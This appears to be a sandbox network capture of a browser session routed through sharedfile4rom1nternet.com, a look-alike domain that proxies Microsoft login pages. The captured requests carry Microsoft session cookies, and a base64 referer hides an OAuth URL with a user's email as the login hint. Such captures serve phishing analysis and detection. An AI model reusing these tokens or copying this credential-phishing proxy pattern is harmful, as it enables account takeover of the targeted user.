2024-11-21 13:45:16 UTC	711	OUT	GET /owa/prefetch.aspx HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://sharedfile4rom1nternet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:45:17 UTC	1823	IN	HTTP/1.1 200 OK Cache-Control: private, no-store Content-Length: 2745 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 request-id: e0c18ef5-00c9-db0e-69da-b8bd7e876301 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-CalculatedBETarget: PARP264MB5712.FRAP264.PROD.OUTLOOK.COM X-BackEndHttpStatus: 200 Set-Cookie: ClientId=D932DB710C8340E5AA4BF3A7651BA4DA; expires=Fri, 21-Nov-2025 13:45:17 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=D932DB710C8340E5AA4BF3A7651BA4DA; expires=Fri, 21-Nov-2025 13:45:17 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Wed, 21-May-2025 13:45:17 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OWAPF=v:15.20.8182.16&l:mouse; path=/; secure; HttpOnly X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Content-Type-Options: nosniff X-BeSku: WCS7 X-OWA-Version: 15.20.8182.14 X-OWA-DiagnosticsInfo: 6;0;0; X-BackEnd-Begin: 2024-11-21T13:45:17.133 X-BackEnd-End: 2024-11-21T13:45:17.133 X-DiagInfo: PARP264MB5712 X-BEServer: PARP264MB5712 X-UA-Compatible: IE=EmulateIE7 X-ResponseOrigin: OwaAppPool X-Proxy-RoutingCorrectness: 1 Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=CDG&RemoteIP=8.46.123.0&Environment=MT"}],"include_subdomains":true} NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: CDG X-FEProxyInfo: PR1P264CA0150.FRAP264.PROD.OUTLOOK.COM X-FEEFZInfo: CDG X-FEServer: PR1P264CA0150 Date: Thu, 21 Nov 2024 13:45:16 GMT Connection: close
2024-11-21 13:45:17 UTC	2745	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 72 65 66 65 74 63 68 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f Data Ascii: <!DOCTYPE html><html><head> <title>Prefetch</title> <meta http-equiv="x-ua-compatible" content="IE=Edge"> <style> @font-face { font-family: 'office365icons'; src: url('https:/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49778	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:18 UTC	1718	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:19 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20884327 Cache-Control: public, max-age=31536000 Content-MD5: Fm3lNHEmUlOrOkVt7+baIw== Content-Type: image/gif Date: Thu, 21 Nov 2024 13:45:19 GMT Etag: 0x8D79A1B9F2C6EC8 Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (ska/F6F5) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 292a6b37-701e-00fc-6c2a-7e0b6a000000 x-ms-version: 2009-09-19 Content-Length: 2672 Connection: close
2024-11-21 13:45:19 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49779	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:18 UTC	1712	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:19 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20857397 Cache-Control: public, max-age=31536000 Content-MD5: tUCo5RgDcZLjLE/li/Lbqw== Content-Type: image/gif Date: Thu, 21 Nov 2024 13:45:18 GMT Etag: 0x8D79A1B9F8A840E Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (ska/F76F) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4c962c45-a01e-0081-3e69-7e2671000000 x-ms-version: 2009-09-19 Content-Length: 3620 Connection: close
2024-11-21 13:45:19 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49780	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:18 UTC	2901	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:19 UTC	720	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20863497 Cache-Control: public, max-age=31536000 Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Content-Type: image/x-icon Date: Thu, 21 Nov 2024 13:45:19 GMT Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT Server: ECAcc (ska/F738) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 582df77a-301e-0028-1b5a-7e9304000000 x-ms-version: 2009-09-19 Content-Length: 17174 Connection: close
2024-11-21 13:45:19 UTC	15664	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-11-21 13:45:19 UTC	719	IN	Data Raw: 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 Data Ascii: {L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""
2024-11-21 13:45:19 UTC	791	IN	Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49781	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:18 UTC	2870	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:19 UTC	1344	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20858799 Cache-Control: public, max-age=31536000 Content-MD5: todPgSbCBNAfnMYQ5LVdvw== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:19 GMT Etag: 0x8DAFF34C449D50E Last-Modified: Thu, 26 Jan 2023 00:32:12 GMT Server: ECAcc (ska/F6BA) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 38eb97f0-201e-0099-6e65-7ece42000000 x-ms-version: 2009-09-19 content-length: 109863 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
